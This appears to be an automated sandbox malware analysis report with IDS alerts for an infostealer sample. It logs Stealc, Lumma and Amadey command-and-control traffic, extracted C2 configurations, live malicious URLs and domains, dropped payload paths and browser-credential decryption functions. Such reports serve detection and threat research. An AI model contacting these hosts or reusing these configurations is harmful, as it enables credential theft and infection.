2024-12-19T07:56:58.924239+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49745	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:56:58.802732+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49745	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:56:59.244460+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49745	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:57:00.974017+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49745	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:56:59.558231+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49745	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:56:29.064313+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49733	172.67.179.109	443	TCP
2024-12-19T07:58:24.046399+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49925	172.67.209.202	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:56:58.361879+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49745	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:58:06.547215+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49878	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:58:15.220006+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49885	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:58:11.330746+0100	2803305	3	Unknown Traffic	192.168.2.4	49890	31.41.244.11	80	TCP
2024-12-19T07:58:18.024743+0100	2803305	3	Unknown Traffic	192.168.2.4	49907	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:57:01.935688+0100	2803304	3	Unknown Traffic	192.168.2.4	49745	185.215.113.206	80	TCP
2024-12-19T07:57:18.747134+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	185.215.113.206	80	TCP
2024-12-19T07:57:20.633501+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	185.215.113.206	80	TCP
2024-12-19T07:57:21.900999+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	185.215.113.206	80	TCP
2024-12-19T07:57:22.971791+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	185.215.113.206	80	TCP
2024-12-19T07:57:26.432618+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	185.215.113.206	80	TCP
2024-12-19T07:57:27.574800+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	185.215.113.206	80	TCP
2024-12-19T07:57:33.073591+0100	2803304	3	Unknown Traffic	192.168.2.4	49801	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: AWrVzd6XpC.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpo-	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpw-	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dlln4	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dlla4	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/yd3Fx	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phper	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dll_z	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/rd(Fy	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/-d	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/apiN	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/&d	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat:443/apibTx	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllR4L5	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat:443/api(	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpuP	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/london/random.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dlleu	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat:443/api..	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllH8	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 0000000C.00000003.2504800940.0000000004760000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000005.00000002.2523365754.00000000014EE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 18.2.8c6b987a2c.exe.400000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["aspecteirs.lat", "sustainskelet.lat", "rapeflowwj.lat", "pancakedipyps.click", "discokeyus.lat", "energyaffai.lat", "grannyejh.lat", "necklacebudi.lat", "crosshuaht.lat"], "Build id": "FATE99--test"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: AWrVzd6XpC.exe	Virustotal: Detection: 55%			Perma Link
Source: AWrVzd6XpC.exe	ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: AWrVzd6XpC.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 18.2.8c6b987a2c.exe.400000.0.unpack	String decryptor: rapeflowwj.lat
Source: 18.2.8c6b987a2c.exe.400000.0.unpack	String decryptor: crosshuaht.lat
Source: 18.2.8c6b987a2c.exe.400000.0.unpack	String decryptor: sustainskelet.lat
Source: 18.2.8c6b987a2c.exe.400000.0.unpack	String decryptor: aspecteirs.lat
Source: 18.2.8c6b987a2c.exe.400000.0.unpack	String decryptor: energyaffai.lat
Source: 18.2.8c6b987a2c.exe.400000.0.unpack	String decryptor: necklacebudi.lat
Source: 18.2.8c6b987a2c.exe.400000.0.unpack	String decryptor: discokeyus.lat
Source: 18.2.8c6b987a2c.exe.400000.0.unpack	String decryptor: grannyejh.lat
Source: 18.2.8c6b987a2c.exe.400000.0.unpack	String decryptor: pancakedipyps.click
Source: 18.2.8c6b987a2c.exe.400000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 18.2.8c6b987a2c.exe.400000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 18.2.8c6b987a2c.exe.400000.0.unpack	String decryptor: - Screen Resoluton:
Source: 18.2.8c6b987a2c.exe.400000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 18.2.8c6b987a2c.exe.400000.0.unpack	String decryptor: Workgroup: -
Source: 18.2.8c6b987a2c.exe.400000.0.unpack	String decryptor: FATE99--test

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C50A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	5_2_6C50A9A0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C504440 PK11_PrivDecrypt,	5_2_6C504440
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4D4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	5_2_6C4D4420
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5044C0 PK11_PubEncrypt,	5_2_6C5044C0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5525B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	5_2_6C5525B0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C50A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	5_2_6C50A650
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4E8670 PK11_ExportEncryptedPrivKeyInfo,	5_2_6C4E8670
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4EE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	5_2_6C4EE6E0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C52A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	5_2_6C52A730
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C530180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	5_2_6C530180
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5043B0 PK11_PubEncryptPKCS1,PR_SetError,	5_2_6C5043B0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C527C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	5_2_6C527C00
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4E7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	5_2_6C4E7D60
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C52BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	5_2_6C52BD30
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C529EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	5_2_6C529EC0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C503FF0 PK11_PrivDecryptPKCS1,	5_2_6C503FF0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C503850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	5_2_6C503850
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C509840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	5_2_6C509840
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C52DA40 SEC_PKCS7ContentIsEncrypted,	5_2_6C52DA40
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C503560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	5_2_6C503560
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4FF050 PR_smprintf,SEC_CertNicknameConflict,strlen,realloc,memset,realloc,strlen,free,PR_smprintf,memcpy,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,PR_SetError,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,memcpy,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,PR_SetError,PR_SetError,PR_GetCurrentThread,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,PK11_GenerateRandom,SECKEY_DestroyPrivateKey,PR_SetError,free,free,free,free,PK11_FindCertInSlot,PORT_NewArena_Util,free,PK11_ImportCert,PR_SetError,free,CERT_DestroyCertificate,PORT_FreeArena_Util,PR_GetCurrentThread,PORT_ArenaAlloc_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_GetCurrentThread,strlen,PR_SetError,PR_GetCurrentThread,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,PR_SetError,free,SECKEY_DestroyPrivateKey,SECKEY_DestroyEncryptedPrivateKeyInfo,PR_SetError,	5_2_6C4FF050

Source: AWrVzd6XpC.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.4:49929 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540920439.000000006CE7D000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: nss3.pdb@ source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr
Source:	Binary string: softokn3.pdb@ source: softokn3.dll.5.dr, softokn3[1].dll.5.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.5.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: I8WIG9OBFWN5NKZK2DW5QG7.exe, 00000004.00000002.2140379581.0000000000712000.00000040.00000001.01000000.00000006.sdmp, I8WIG9OBFWN5NKZK2DW5QG7.exe, 00000004.00000003.2007194897.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr
Source:	Binary string: mozglue.pdb source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540920439.000000006CE7D000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: softokn3.pdb source: softokn3.dll.5.dr, softokn3[1].dll.5.dr

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Code function: 5_2_6C5D5070 strlen,PR_SetError,strcpy,_mbsdec,strlen,_mbsinc,_mbsinc,FindFirstFileA,GetLastError,

5_2_6C5D5070

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Local\Adobe	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.4:59411 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:60297 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49734 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49731 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49737 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49735 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49733 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49730 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49742 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49732 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49745 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49745 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49745
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49745 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49745
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49745 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49878 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49885
Source: Network traffic	Suricata IDS: 2058397 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click) : 192.168.2.4:62399 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49906 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49909 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49916 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49925 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49927 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49733 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49742 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49909 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49916 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49916 -> 172.67.209.202:443
